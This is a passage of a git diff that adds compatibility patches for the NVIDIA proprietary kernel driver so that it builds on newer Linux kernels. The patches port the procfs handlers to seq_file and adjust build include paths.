++nv_procfs_open_registry(
++    struct inode *inode,
++    struct file  *file
++)
+ {
+-    *eof = 1;
+-    return sprintf(page, "%s", (char *)data);
++    return single_open(file, nv_procfs_show_registry, NULL);
+ }
+ 
++static const struct file_operations nv_procfs_registry_fops = {
++    .open    = nv_procfs_open_registry,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .release = single_release,
++};
++
+ /***
+  *** EXPORTS to rest of resman
+  ***/
+-- 
+1.7.9.5
+
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-drivers-260.19.44-2.6.39.patch b/x11-drivers/nvidia-drivers/files/nvidia-drivers-260.19.44-2.6.39.patch
new file mode 100644
index 00000000..32efbf12
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-drivers-260.19.44-2.6.39.patch
@@ -0,0 +1,10 @@
+--- kernel.orig/nv-linux.h
++++ kernel/nv-linux.h
+@@ -87,7 +87,6 @@
+ #if !defined(KERNEL_2_4)
+ #include <linux/sched.h>            /* suser(), capable() replacement   */
+ #include <linux/moduleparam.h>      /* module_param()                   */
+-#include <linux/smp_lock.h>         /* kernel_locked                    */
+ #include <asm/tlbflush.h>           /* flush_tlb(), flush_tlb_all()     */
+ #include <asm/kmap_types.h>         /* page table entry lookup          */
+ #endif
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-drivers-290.10-3.2.8+.patch b/x11-drivers/nvidia-drivers/files/nvidia-drivers-290.10-3.2.8+.patch
new file mode 100644
index 00000000..4834f7b8
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-drivers-290.10-3.2.8+.patch
@@ -0,0 +1,11 @@
+--- a/kernel/conftest.sh
++++ b/kernel/conftest.sh
+@@ -122,7 +122,7 @@ build_cflags() {
+     CFLAGS="$BASE_CFLAGS $MACH_CFLAGS $OUTPUT_CFLAGS -I$HEADERS $AUTOCONF_CFLAGS"
+ 
+     if [ "$ARCH" = "i386" -o "$ARCH" = "x86_64" -o "$ARCH" = "x86" ]; then
+-        CFLAGS="$CFLAGS -I$SOURCES/arch/x86/include"
++        CFLAGS="$CFLAGS -I$SOURCES/arch/x86/include -I$SOURCES/arch/x86/include/generated"
+     fi
+     if [ -n "$BUILD_PARAMS" ]; then
+         CFLAGS="$CFLAGS -D$BUILD_PARAMS"
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-drivers-304-3.10.patch b/x11-drivers/nvidia-drivers/files/nvidia-drivers-304-3.10.patch
new file mode 100644
index 00000000..514e671e
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-drivers-304-3.10.patch
@@ -0,0 +1,626 @@
+diff -Nurp work.orig/kernel/nv-i2c.c work/kernel/nv-i2c.c
+--- work.orig/kernel/nv-i2c.c	2013-07-04 13:19:12.255911539 +0000
++++ work/kernel/nv-i2c.c	2013-07-04 13:08:08.479793566 +0000
+@@ -311,8 +311,6 @@ void* NV_API_CALL nv_i2c_add_adapter(nv_
+ BOOL NV_API_CALL nv_i2c_del_adapter(nv_state_t *nv, void *data)
+ {
+     struct i2c_adapter *pI2cAdapter = (struct i2c_adapter *)data;
+-    int osstatus = 0;
+-    BOOL wasReleased = FALSE;
+ 
+ #if defined(KERNEL_2_4)
+     if (!NV_WEAK_SYMBOL_PRESENT(i2c_add_adapter))
+@@ -324,15 +322,10 @@ BOOL NV_API_CALL nv_i2c_del_adapter(nv_s
+     if (!pI2cAdapter) return FALSE;
+ 
+     // attempt release with the OS
+-    osstatus = i2c_del_adapter(pI2cAdapter);
++    i2c_del_adapter(pI2cAdapter);
++    os_free_mem(pI2cAdapter);
+ 
+-    if (!osstatus)
+-    {
+-        os_free_mem(pI2cAdapter);
+-        wasReleased = TRUE;
+-    }
+-
+-    return wasReleased;
++    return TRUE;
+ }
+ 
+ #else // (defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE))
+diff -Nurp work.orig/kernel/nv-procfs.c work/kernel/nv-procfs.c
+--- work.orig/kernel/nv-procfs.c	2013-07-04 13:19:12.259244771 +0000
++++ work/kernel/nv-procfs.c	2013-07-04 13:17:31.246205962 +0000
+@@ -60,60 +60,41 @@ static char nv_registry_keys[NV_MAX_REGI
+         __entry;                                          \
+     })
+ 
+-#define NV_CREATE_PROC_FILE(name,parent,__read_proc,           \
+-    __write_proc,__fops,__data)                                \
+-   ({                                                          \
+-        struct proc_dir_entry *__entry;                        \
+-        int __mode = (S_IFREG | S_IRUGO);                      \
+-        if ((NvUPtr)(__write_proc) != 0)                       \
+-            __mode |= S_IWUSR;                                 \
+-        __entry = NV_CREATE_PROC_ENTRY(name, __mode, parent);  \
+-        if (__entry != NULL)                                   \
+-        {                                                      \
+-            if ((NvUPtr)(__read_proc) != 0)                    \
+-                __entry->read_proc = (__read_proc);            \
+-            if ((NvUPtr)(__write_proc) != 0)                   \
+-            {                                                  \
+-                __entry->write_proc = (__write_proc);          \
+-                __entry->proc_fops = (__fops);                 \
+-            }                                                  \
+-            __entry->data = (__data);                          \
+-        }                                                      \
+-        __entry;                                               \
+-    })
++#define NV_PROC_RW (S_IFREG|S_IRUGO|S_IWUSR)
++#define NV_PROC_RO (S_IFREG|S_IRUGO)
+ 
+ #define NV_CREATE_PROC_DIR(name,parent)                        \
+    ({                                                          \
+         struct proc_dir_entry *__entry;                        \
+         int __mode = (S_IFDIR | S_IRUGO | S_IXUGO);            \
+-        __entry = NV_CREATE_PROC_ENTRY(name, __mode, parent);  \
++        __entry = proc_mkdir_mode(name, __mode, parent);       \
+         __entry;                                               \
+     })
+ 
++//#if LINUX_VERSION_CODE <= KERNEL_VERSION(3,9,255)
++//static inline void *PDE_DATA(const struct inode *inode) {
++//	return PDE(inode)->data;
++//}
++//#endif
++
+ #define NV_PROC_WRITE_BUFFER_SIZE   (64 * RM_PAGE_SIZE)
+ 
+ static int
+-nv_procfs_read_gpu_info(
+-    char  *page,
+-    char **start,
+-    off_t  off,
+-    int    count,
+-    int   *eof,
+-    void  *data
++nv_procfs_show_gpu_info(
++    struct seq_file *m,
++    void *v
+ )
+ {
+-    nv_state_t *nv = data;
++    nv_state_t *nv = m->private;
+     nv_linux_state_t *nvl = NV_GET_NVL_FROM_NV_STATE(nv);
+     struct pci_dev *dev = nvl->dev;
+     char *type, *fmt, tmpstr[NV_DEVICE_NAME_LENGTH];
+-    int len = 0, status;
++    int status;
+     NvU8 *uuid;
+     NvU32 vbios_rev1, vbios_rev2, vbios_rev3, vbios_rev4, vbios_rev5;
+     NvU32 fpga_rev1, fpga_rev2, fpga_rev3;
+     nv_stack_t *sp = NULL;
+ 
+-    *eof = 1;
+-
+     NV_KMEM_CACHE_ALLOC_STACK(sp);
+     if (sp == NULL)
+     {
+@@ -134,31 +115,31 @@ nv_procfs_read_gpu_info(
+         if (rm_get_device_name(sp, nv, dev->device, dev->subsystem_vendor,
+                     dev->subsystem_device, NV_DEVICE_NAME_LENGTH,
+                     tmpstr) != RM_OK)
+-        {
++ 		       {
+             strcpy (tmpstr, "Unknown");
+         }
+     }
+ 
+-    len += sprintf(page+len, "Model: \t\t %s\n", tmpstr);
+-    len += sprintf(page+len, "IRQ:   \t\t %d\n", nv->interrupt_line);
++    seq_printf(m, "Model: \t\t %s\n", tmpstr);
++    seq_printf(m, "IRQ:   \t\t %d\n", nv->interrupt_line);
+ 
+     if (NV_IS_GVI_DEVICE(nv))
+     {
+         status = rm_gvi_get_firmware_version(sp, nv, &fpga_rev1, &fpga_rev2,
+                                              &fpga_rev3);
+         if (status != RM_OK)
+-            len += sprintf(page+len, "Firmware: \t ????.??.??\n");
++            seq_printf(m, "Firmware: \t ????.??.??\n");
+         else
+         {
+             fmt = "Firmware: \t %x.%x.%x\n";
+-            len += sprintf(page+len, fmt, fpga_rev1, fpga_rev2, fpga_rev3);
++            seq_printf(m, fmt, fpga_rev1, fpga_rev2, fpga_rev3);
+         }
+     }
+     else
+     {
+         if (rm_get_gpu_uuid(sp, nv, &uuid, NULL) == RM_OK)
+         {
+-            len += sprintf(page+len, "GPU UUID: \t %s\n", (char *)uuid);
++            seq_printf(m, "GPU UUID: \t %s\n", (char *)uuid);
+             os_free_mem(uuid);
+         }
+ 
+@@ -166,12 +147,12 @@ nv_procfs_read_gpu_info(
+                     &vbios_rev3, &vbios_rev4,
+                     &vbios_rev5) != RM_OK)
+         {
+-            len += sprintf(page+len, "Video BIOS: \t ??.??.??.??.??\n");
++            seq_printf(m, "Video BIOS: \t ??.??.??.??.??\n");
+         }
+         else
+         {
+             fmt = "Video BIOS: \t %02x.%02x.%02x.%02x.%02x\n";
+-            len += sprintf(page+len, fmt, vbios_rev1, vbios_rev2, vbios_rev3,
++            seq_printf(m, fmt, vbios_rev1, vbios_rev2, vbios_rev3,
+                            vbios_rev4, vbios_rev5);
+         }
+     }
+@@ -182,12 +163,12 @@ nv_procfs_read_gpu_info(
+         type = "PCI-E";
+     else
+         type = "PCI";
+-    len += sprintf(page+len, "Bus Type: \t %s\n", type);
++    seq_printf(m, "Bus Type: \t %s\n", type);
+ 
+-    len += sprintf(page+len, "DMA Size: \t %d bits\n",
++    seq_printf(m, "DMA Size: \t %d bits\n",
+      nv_count_bits(dev->dma_mask));
+-    len += sprintf(page+len, "DMA Mask: \t 0x%llx\n", dev->dma_mask);
+-    len += sprintf(page+len, "Bus Location: \t %04x:%02x.%02x.%x\n",
++    seq_printf(m, "DMA Mask: \t 0x%llx\n", dev->dma_mask);
++    seq_printf(m, "Bus Location: \t %04x:%02x.%02x.%x\n",
+                    nv->domain, nv->bus, nv->slot, PCI_FUNC(dev->devfn));
+ #if defined(DEBUG)
+     do
+@@ -195,7 +176,7 @@ nv_procfs_read_gpu_info(
+         int j;
+         for (j = 0; j < NV_GPU_NUM_BARS; j++)
+         {
+-            len += sprintf(page+len, "BAR%u: \t\t 0x%llx (%lluMB)\n",
++            seq_printf(m, "BAR%u: \t\t 0x%llx (%lluMB)\n",
+                            j, nv->bars[j].address, (nv->bars[j].size >> 20));
+         }
+     } while (0);
+@@ -203,26 +184,120 @@ nv_procfs_read_gpu_info(
+ 
+     NV_KMEM_CACHE_FREE_STACK(sp);
+ 
+-    return len;
++    return 0;
+ }
+ 
+ static int
+-nv_procfs_read_version(
+-    char  *page,
+-    char **start,
+-    off_t  off,
+-    int    count,
+-    int   *eof,
+-    void  *data
++nv_procfs_open_gpu_info(
++    struct inode *inode,
++    struct file *file
+ )
+ {
+-    int len = 0;
+-    *eof = 1;
++    return single_open(file, nv_procfs_show_gpu_info, PDE_DATA(inode));
++}
+ 
+-    len += sprintf(page+len, "NVRM version: %s\n", pNVRM_ID);
+-    len += sprintf(page+len, "GCC version:  %s\n", NV_COMPILER);
++static const struct file_operations nv_procfs_gpu_info_fops = {
++    .owner   = THIS_MODULE,
++    .open    = nv_procfs_open_gpu_info,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .release = single_release,
++};
+ 
+-    return len;
++static int
++nv_procfs_show_version(
++    struct seq_file *m,
++    void *v
++)
++{
++    seq_printf(m, "NVRM version: %s\n", pNVRM_ID);
++    seq_printf(m, "GCC version:  %s\n", NV_COMPILER);
++
++    return 0;
++}
++
++static int
++nv_procfs_open_version(
++    struct inode *inode,
++    struct file *file
++)
++{
++    return single_open(file, nv_procfs_show_version, NULL);
++}
++
++static const struct file_operations nv_procfs_version_fops = {
++    .owner   = THIS_MODULE,
++    .open    = nv_procfs_open_version,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .release = single_release,
++};
++
++static int
++nv_procfs_show_registry(
++    struct seq_file *m,
++    void *v
++)
++{
++    nv_state_t *nv = m->private;
++    nv_linux_state_t *nvl = NULL;
++    char *registry_keys;
++
++    if (nv != NULL)
++        nvl = NV_GET_NVL_FROM_NV_STATE(nv);
++    registry_keys = ((nvl != NULL) ?
++            nvl->registry_keys : nv_registry_keys);
++
++    seq_printf(m, "Binary: \"%s\"\n", registry_keys);
++
++    return 0;
++}
++
++static ssize_t
++nv_procfs_write_registry(
++    struct file       *file,
++    const char __user *buffer,
++    size_t             count,
++    loff_t            *pos
++)
++{
++    int status = 0;
++    nv_file_private_t *nvfp = NV_GET_FILE_PRIVATE(file);
++    char *proc_buffer;
++    unsigned long bytes_left;
++
++    down(&nvfp->fops_sp_lock[NV_FOPS_STACK_INDEX_PROCFS]);
++
++    bytes_left = (NV_PROC_WRITE_BUFFER_SIZE - nvfp->off - 1);
++
++    if (count == 0)
++    {
++        status = -EINVAL;
++        goto done;
++    }
++    else if ((bytes_left == 0) || (count > bytes_left))
++    {
++        status = -ENOSPC;
++        goto done;
++    }
++
++    proc_buffer = &((char *)nvfp->data)[nvfp->off];
++
++    if (copy_from_user(proc_buffer, buffer, count))
++    {
++        nv_printf(NV_DBG_ERRORS, "NVRM: failed to copy in proc data!\n");
++        status = -EFAULT;
++    }
++    else
++    {
++        nvfp->proc_data = PDE_DATA(file->f_inode);
++        nvfp->off += count;
++    }
++
++done:
++    up(&nvfp->fops_sp_lock[NV_FOPS_STACK_INDEX_PROCFS]);
++
++    return ((status < 0) ? status : count);
+ }
+ 
+ static struct pci_dev *nv_get_agp_device_by_class(unsigned int class)
+@@ -432,7 +507,7 @@ nv_procfs_open_registry(
+     nv_stack_t *sp = NULL;
+ 
+     if (0 == (file->f_mode & FMODE_WRITE))
+-        return 0;
++        return single_open(file, nv_procfs_show_registry, PDE_DATA(inode));
+ 
+     nvfp = nv_alloc_file_private();
+     if (nvfp == NULL)
+@@ -481,6 +556,9 @@ nv_procfs_close_registry(
+     RM_STATUS rm_status;
+     int rc = 0;
+ 
++    if (0 == (file->f_mode & FMODE_WRITE))
++        return single_release(inode, file);
++
+     nvfp = NV_GET_FILE_PRIVATE(file);
+     if (nvfp == NULL)
+         return 0;
+@@ -545,122 +623,81 @@ done:
+     return rc;
+ }
+ 
+-static struct file_operations nv_procfs_registry_fops = {
++static const struct file_operations nv_procfs_registry_fops = {
+     .open    = nv_procfs_open_registry,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .write   = nv_procfs_write_registry,
+     .release = nv_procfs_close_registry,
+ };
+ 
+ static int
+-nv_procfs_read_params(
+-    char  *page,
+-    char **start,
+-    off_t  off,
+-    int    count,
+-    int   *eof,
+-    void  *data
++nv_procfs_show_params(
++    struct seq_file *m,
++    void *v
+ )
+ {
+     unsigned int i;
+-    int len = 0;
+     nv_parm_t *entry;
+ 
+-    *eof = 1;
+ 
+     for (i = 0; (entry = &nv_parms[i])->name != NULL; i++)
+-        len += sprintf(page+len, "%s: %u\n", entry->name, *entry->data);
++        seq_printf(m, "%s: %u\n", entry->name, *entry->data);
+ 
+-    len += sprintf(page+len, "RegistryDwords: \"%s\"\n",
++    seq_printf(m, "RegistryDwords: \"%s\"\n",
+                 (NVreg_RegistryDwords != NULL) ? NVreg_RegistryDwords : "");
+-    len += sprintf(page+len, "RmMsg: \"%s\"\n",
++    seq_printf(m, "RmMsg: \"%s\"\n",
+                 (NVreg_RmMsg != NULL) ? NVreg_RmMsg : "");
+ 
+-    return len;
++    return 0;
+ }
+ 
+ static int
+-nv_procfs_read_registry(
+-    char  *page,
+-    char **start,
+-    off_t  off,
+-    int    count,
+-    int   *eof,
+-    void  *data
+-)
++nv_procfs_open_params(
++    struct inode *inode,
++    struct file *file
++)    
+ {
+-    nv_state_t *nv = data;
+-    nv_linux_state_t *nvl = NULL;
+-    char *registry_keys;
++    return single_open(file, nv_procfs_show_params, NULL);
++}
+ 
+-    if (nv != NULL)
+-        nvl = NV_GET_NVL_FROM_NV_STATE(nv);
+-    registry_keys = ((nvl != NULL) ?
+-            nvl->registry_keys : nv_registry_keys);
++static const struct file_operations nv_procfs_params_fops = {
++    .owner   = THIS_MODULE,
++    .open    = nv_procfs_open_params,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .release = single_release,
++};
+ 
+-    *eof = 1;
+-    return sprintf(page, "Binary: \"%s\"\n", registry_keys);
+-}
+ 
+ static int
+-nv_procfs_write_registry(
+-    struct file   *file,
+-    const char    *buffer,
+-    unsigned long  count,
+-    void          *data
++nv_procfs_show_text_file(
++    struct seq_file *m,
++    void *v
+ )
+ {
+-    int status = 0;
+-    nv_file_private_t *nvfp = NV_GET_FILE_PRIVATE(file);
+-    char *proc_buffer;
+-    unsigned long bytes_left;
+-
+-    down(&nvfp->fops_sp_lock[NV_FOPS_STACK_INDEX_PROCFS]);
++    seq_printf(m, "%s", (char *)m->private);
+ 
+-    bytes_left = (NV_PROC_WRITE_BUFFER_SIZE - nvfp->off - 1);
+-
+-    if (count == 0)
+-    {
+-        status = -EINVAL;
+-        goto done;
+-    }
+-    else if ((bytes_left == 0) || (count > bytes_left))
+-    {
+-        status = -ENOSPC;
+-        goto done;
+-    }
+-
+-    proc_buffer = &((char *)nvfp->data)[nvfp->off];
+-
+-    if (copy_from_user(proc_buffer, buffer, count))
+-    {
+-        nv_printf(NV_DBG_ERRORS, "NVRM: failed to copy in proc data!\n");
+-        status = -EFAULT;
+-    }
+-    else
+-    {
+-        nvfp->proc_data = data;
+-        nvfp->off += count;
+-    }
+-
+-done:
+-    up(&nvfp->fops_sp_lock[NV_FOPS_STACK_INDEX_PROCFS]);
+-
+-    return ((status < 0) ? status : (int)count);
++    return 0;
+ }
+ 
+ static int
+-nv_procfs_read_text_file(
+-    char  *page,
+-    char **start,
+-    off_t  off,
+-    int    count,
+-    int   *eof,
+-    void  *data
++nv_procfs_open_text_file(
++    struct inode *inode,
++    struct file *file
+ )
+ {
+-    *eof = 1;
+-    return sprintf(page, "%s", (char *)data);
++    return single_open(file, nv_procfs_show_text_file, PDE_DATA(inode));
+ }
+ 
++static const struct file_operations nv_procfs_text_fops = {
++    .owner   = THIS_MODULE,
++    .open    = nv_procfs_open_text_file,
++    .read    = seq_read,
++    .llseek  = seq_lseek,
++    .release = single_release,
++};
++
+ static void
+ nv_procfs_add_text_file(
+     struct proc_dir_entry *parent,
+@@ -668,22 +705,7 @@ nv_procfs_add_text_file(
+     const char *text
+ )
+ {
+-    NV_CREATE_PROC_FILE(filename, parent,
+-            nv_procfs_read_text_file, NULL, NULL, (void *)text);
+-}
+-
+-static void nv_procfs_unregister_all(struct proc_dir_entry *entry)
+-{
+-    while (entry)
+-    {
+-        struct proc_dir_entry *next = entry->next;
+-        if (entry->subdir)
+-            nv_procfs_unregister_all(entry->subdir);
+-        remove_proc_entry(entry->name, entry->parent);
+-        if (entry == proc_nvidia)
+-            break;
+-        entry = next;
+-    }
++    proc_create_data(filename, NV_PROC_RO, parent, &nv_procfs_text_fops, (void *)text);
+ }
+ #endif
+ 
+@@ -713,26 +735,11 @@ int nv_register_procfs(void)
+     if (!proc_nvidia)
+         goto failed;
+ 
+-    entry = NV_CREATE_PROC_FILE("params", proc_nvidia,
+-        nv_procfs_read_params, NULL, NULL, NULL);
++    entry = proc_create("params", NV_PROC_RO, proc_nvidia, &nv_procfs_params_fops);
+     if (!entry)
+         goto failed;
+ 
+-    /*
+-     * entry->proc_fops originally points to a constant
+-     * structure, so to add more methods for the
+-     * binary registry write path, we need to replace the
+-     * said entry->proc_fops with a new fops structure.
+-     * However, in preparation for this, we need to preserve
+-     * the procfs read() and write() operations.
+-     */
+-    nv_procfs_registry_fops.read = entry->proc_fops->read;
+-    nv_procfs_registry_fops.write = entry->proc_fops->write;
+-
+-    entry = NV_CREATE_PROC_FILE("registry", proc_nvidia,
+-        nv_procfs_read_registry,
+-        nv_procfs_write_registry,
+-        &nv_procfs_registry_fops, NULL);
++    entry = proc_create("registry", NV_PROC_RW, proc_nvidia, &nv_procfs_registry_fops);
+     if (!entry)
+         goto failed;
+ 
+@@ -753,8 +760,7 @@ int nv_register_procfs(void)
+ 
+     nv_procfs_add_text_file(proc_nvidia_patches, "README", __README_patches);
+ 
+-    entry = NV_CREATE_PROC_FILE("version", proc_nvidia,
+-        nv_procfs_read_version, NULL, NULL, NULL);
++    entry = proc_create("version", NV_PROC_RO, proc_nvidia, &nv_procfs_version_fops);
+     if (!entry)
+         goto failed;
+ 
+@@ -771,15 +777,11 @@ int nv_register_procfs(void)
+         if (!proc_nvidia_gpu)
+             goto failed;
+ 
+-        entry = NV_CREATE_PROC_FILE("information", proc_nvidia_gpu,
+-            nv_procfs_read_gpu_info, NULL, NULL, nv);
++	entry = proc_create_data("information", NV_PROC_RO, proc_nvidia_gpu, &nv_procfs_gpu_info_fops, nv);
+         if (!entry)
+             goto failed;
+ 
+-        entry = NV_CREATE_PROC_FILE("registry", proc_nvidia_gpu,
+-            nv_procfs_read_registry,
+-            nv_procfs_write_registry,
+-            &nv_procfs_registry_fops, nv);
++	entry = proc_create_data("registry", NV_PROC_RW, proc_nvidia_gpu, &nv_procfs_registry_fops, nv);
+         if (!entry)
+             goto failed;
+ 
+@@ -789,18 +791,15 @@ int nv_register_procfs(void)
+             if (!proc_nvidia_agp)
+                 goto failed;
+ 
+-            entry = NV_CREATE_PROC_FILE("status", proc_nvidia_agp,
+-                nv_procfs_read_agp_status, NULL, NULL, nv);
++	    entry = proc_create("status", NV_PROC_RO, proc_nvidia_agp, &nv_procfs_read_agp_status);
+             if (!entry)
+                 goto failed;
+ 
+-            entry = NV_CREATE_PROC_FILE("host-bridge", proc_nvidia_agp,
+-                nv_procfs_read_agp_info, NULL, NULL, NULL);
++	    entry = proc_create("host-bridge", NV_PROC_RO, proc_nvidia_agp, &nv_procfs_read_agp_info);
+             if (!entry)
+                 goto failed;
+ 
+-            entry = NV_CREATE_PROC_FILE("gpu", proc_nvidia_agp,
+-                nv_procfs_read_agp_info, NULL, NULL, nv);
++	    entry = proc_create("gpu", NV_PROC_RO, proc_nvidia_agp, &nv_procfs_read_agp_info);
+             if (!entry)
+                 goto failed;
+         }
+@@ -809,7 +808,7 @@ int nv_register_procfs(void)
+     return 0;
+ #if defined(CONFIG_PROC_FS)
+ failed:
+-    nv_procfs_unregister_all(proc_nvidia);
++    remove_proc_subtree("nvidia", proc_nvidia);
+     return -1;
+ #endif
+ }
+@@ -817,6 +816,6 @@ failed:
+ void nv_unregister_procfs(void)
+ {
+ #if defined(CONFIG_PROC_FS)
+-    nv_procfs_unregister_all(proc_nvidia);
++    remove_proc_subtree("nvidia", proc_nvidia);
+ #endif
+ }
+
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-drivers-313.18-3.8.patch b/x11-drivers/nvidia-drivers/files/nvidia-drivers-313.18-3.8.patch
new file mode 100644
index 00000000..bf2f95e6
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-drivers-313.18-3.8.patch
@@ -0,0 +1,24 @@
+From 9100c380c0a8c15b658b3153c107cd99e7110a7b Mon Sep 17 00:00:00 2001
+From: Alberto Milone <alberto.milone@canonical.com>
+Date: Wed, 9 Jan 2013 11:42:03 +0100
+Subject: [PATCH 1/1] Add support for Linux 3.8
+
+---
+ conftest.sh |    1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/conftest.sh b/conftest.sh
+index 9720cab..1bfbe6f 100755
+--- a/kernel/conftest.sh
++++ b/kernel/conftest.sh
+@@ -160,6 +160,7 @@ build_cflags() {
+ 
+     if [ "$ARCH" = "i386" -o "$ARCH" = "x86_64" ]; then
+         CFLAGS="$CFLAGS -I$SOURCES/arch/x86/include"
++        CFLAGS="$CFLAGS -I$SOURCES/arch/x86/include/uapi"
+         CFLAGS="$CFLAGS -I$OUTPUT/arch/x86/include/generated"
+         CFLAGS="$CFLAGS -I$OUTPUT/arch/x86/include/generated/uapi"
+     elif [ "$ARCH" = "arm" ]; then
+-- 
+1.7.9.5
+
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-drivers-319.23-3.10.patch b/x11-drivers/nvidia-drivers/files/nvidia-drivers-319.23-3.10.patch
new file mode 100644
index 00000000..b81967bb
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-drivers-319.23-3.10.patch
@@ -0,0 +1,604 @@
+diff -ur -X - NVIDIA-Linux-x86_64-319.17-no-compat32.orig/kernel/nv-i2c.c NVIDIA-Linux-x86_64-319.17-no-compat32/kernel/nv-i2c.c
+--- NVIDIA-Linux-x86_64-319.17-no-compat32.orig/kernel/nv-i2c.c	2013-04-26 00:22:30.000000000 -0400
++++ NVIDIA-Linux-x86_64-319.17-no-compat32/kernel/nv-i2c.c	2013-05-13 05:20:55.571981365 -0400
+@@ -311,8 +311,6 @@
+ BOOL NV_API_CALL nv_i2c_del_adapter(nv_state_t *nv, void *data)
+ {
+     struct i2c_adapter *pI2cAdapter = (struct i2c_adapter *)data;
+-    int osstatus = 0;
+-    BOOL wasReleased = FALSE;
+ 
+ #if defined(KERNEL_2_4)
+     if (!NV_WEAK_SYMBOL_PRESENT(i2c_add_adapter))
+@@ -324,15 +322,10 @@
+     if (!pI2cAdapter) return FALSE;
+ 
+     // attempt release with the OS
+-    osstatus = i2c_del_adapter(pI2cAdapter);
++    i2c_del_adapter(pI2cAdapter);
++    os_free_mem(pI2cAdapter);
+ 
+-    if (!osstatus)
+-    {
+-        os_free_mem(pI2cAdapter);
+-        wasReleased = TRUE;
+-    }
+-
+-    return wasReleased;
++    return TRUE;
+ }
+ 
+ #else // (defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE))
+diff -ur -X - NVIDIA-Linux-x86_64-319.17-no-compat32.orig/kernel/nv-procfs.c NVIDIA-Linux-x86_64-319.17-no-compat32/kernel/nv-procfs.c
+--- NVIDIA-Linux-x86_64-319.17-no-compat32.orig/kernel/nv-procfs.c	2013-04-26 00:22:30.000000000 -0400
++++ NVIDIA-Linux-x86_64-319.17-no-compat32/kernel/nv-procfs.c	2013-05-22 04:52:45.229495748 -0400
+@@ -60,60 +60,41 @@
+         __entry;                                          \
+     })
+ 
+-#define NV_CREATE_PROC_FILE(name,parent,__read_proc,           \
+-    __write_proc,__fops,__data)                                \
+-   ({                                                          \
+-        struct proc_dir_entry *__entry;                        \
+-        int __mode = (S_IFREG | S_IRUGO);                      \
+-        if ((NvUPtr)(__write_proc) != 0)                       \
+-            __mode |= S_IWUSR;                                 \
+-        __entry = NV_CREATE_PROC_ENTRY(name, __mode, parent);  \
+-        if (__entry != NULL)                                   \
+-        {                                                      \
+-            if ((NvUPtr)(__read_proc) != 0)                    \
+-                __entry->read_proc = (__read_proc);            \
+-            if ((NvUPtr)(__write_proc) != 0)                   \
+-            {                                                  \
+-                __entry->write_proc = (__write_proc);          \
+-                __entry->proc_fops = (__fops);                 \
+-            }                                                  \
+-            __entry->data = (__data);                          \
+-        }                                                      \
+-        __entry;                                               \
+-    })
++#define NV_PROC_RW (S_IFREG|S_IRUGO|S_IWUSR)
++#define NV_PROC_RO (S_IFREG|S_IRUGO)
+ 
+ #define NV_CREATE_PROC_DIR(name,parent)                        \
+    ({                                                          \
+         struct proc_dir_entry *__entry;                        \
+         int __mode = (S_IFDIR | S_IRUGO | S_IXUGO);            \
+-        __entry = NV_CREATE_PROC_ENTRY(name, __mode, parent);  \
++        __entry = proc_mkdir_mode(name, __mode, parent);       \
+         __entry;                                               \
+     })
+ 
++//#if LINUX_VERSION_CODE <= KERNEL_VERSION(3,9,255)
++//static inline void *PDE_DATA(const struct inode *inode) {
++//	return PDE(inode)->data;
++//}
++//#endif
++
+ #define NV_PROC_WRITE_BUFFER_SIZE   (64 * RM_PAGE_SIZE)
+ 
+ static int
+-nv_procfs_read_gpu_info(
+-    char  *page,
+-    char **start,
+-    off_t  off,
+-    int    count,
+-    int   *eof,
+-    void  *data
++nv_procfs_show_gpu_info(
++    struct seq_file *m,
++    void *v
+ )
+ {
+-    nv_state_t *nv = data;
++    nv_state_t *nv = m->private;
+     nv_linux_state_t *nvl = NV_GET_NVL_FROM_NV_STATE(nv);
+     struct pci_dev *dev = nvl->dev;
+     char *type, *fmt, tmpstr[NV_DEVICE_NAME_LENGTH];
+-    int len = 0, status;
++    int status;
+     NvU8 *uuid;
+     NvU32 vbios_rev1, vbios_rev2, vbios_rev3, vbios_rev4, vbios_rev5;
+     NvU32 fpga_rev1, fpga_rev2, fpga_rev3;
+     nv_stack_t *sp = NULL;
+ 
+-    *eof = 1;
+-
+     NV_KMEM_CACHE_ALLOC_STACK(sp);
+     if (sp == NULL)
+     {
+@@ -134,31 +115,31 @@
+         if (rm_get_device_name(sp, nv, dev->device, dev->subsystem_vendor,
+                     dev->subsystem_device, NV_DEVICE_NAME_LENGTH,
+                     tmpstr) != RM_OK)
+-        {
++ 		       {
+             strcpy (tmpstr, "Unknown");
+         }
+     }
+ 
+-    len += sprintf(page+len, "Model: \t\t %s\n", tmpstr);
+-    len += sprintf(page+len, "IRQ:   \t\t %d\n", nv->interrupt_line);
++    seq_printf(m, "Model: \t\t %s\n", tmpstr);
++    seq_printf(m, "IRQ:   \t\t %d\n", nv->interrupt_line);
+ 
+     if (NV_IS_GVI_DEVICE(nv))
+     {
+         status = rm_gvi_get_firmware_version(sp, nv, &fpga_rev1, &fpga_rev2,
+                                              &fpga_rev3);
+         if (status != RM_OK)
+-            len += sprintf(page+len, "Firmware: \t ????.??.??\n");
++            seq_printf(m, "Firmware: \t ????.??.??\n");
+         else
+         {
+             fmt = "Firmware: \t %x.%x.%x\n";
+-            len += sprintf(page+len, fmt, fpga_rev1, fpga_rev2, fpga_rev3);
++            seq_printf(m, fmt, fpga_rev1, fpga_rev2, fpga_rev3);
+         }
+     }
+     else
+     {
+         if (rm_get_gpu_uuid(sp, nv, &uuid, NULL) == RM_OK)
+         {
+-            len += sprintf(page+len, "GPU UUID: \t %s\n", (char *)uuid);
++            seq_printf(m, "GPU UUID: \t %s\n", (char *)uuid);
+             os_free_mem(uuid);
+         }
+ 
+@@ -166,12 +147,12 @@
+                     &vbios_rev3, &vbios_rev4,
+                     &vbios_rev5) != RM_OK)
+         {
